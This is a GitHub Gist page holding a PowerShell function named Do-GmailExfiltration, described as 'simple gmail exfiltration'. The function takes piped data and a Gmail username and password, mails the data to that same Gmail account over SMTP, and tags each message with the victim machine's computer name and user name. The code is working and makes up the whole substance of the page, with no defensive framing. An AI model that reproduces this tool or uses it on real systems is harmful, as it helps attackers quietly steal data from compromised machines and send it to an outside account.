Created
July 20, 2016 11:15
-
-
Save daniel0x00/4a8ca5c314a416d216017d1d9d48bc1f to your computer and use it in GitHub Desktop.
PowerShell simple gmail exfiltration
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Do-GmailExfiltration | |
{ | |
[CmdletBinding()] | |
param( | |
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeLine = $True)] | |
[String] | |
$Data, | |
[Parameter(Position = 1, Mandatory = $True)] | |
[String] | |
$Username, | |
[Parameter(Position = 2, Mandatory = $True)] | |
[String] | |
$Password | |
) | |
process { | |
$smtpserver = "smtp.gmail.com" | |
$msg = New-Object Net.Mail.MailMessage | |
$smtp = New-Object Net.Mail.SmtpClient($smtpserver,587) | |
$smtp.EnableSsl = $true | |
$smtp.Credentials = New-Object System.Net.NetworkCredential("$username", "$password"); | |
$msg.From = "$username@gmail.com" | |
$msg.To.Add("$username@gmail.com") | |
$msg.Subject = $env:computername+'__'+$env:username | |
$msg.Body = $Data | |
$smtp.Send($msg) | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment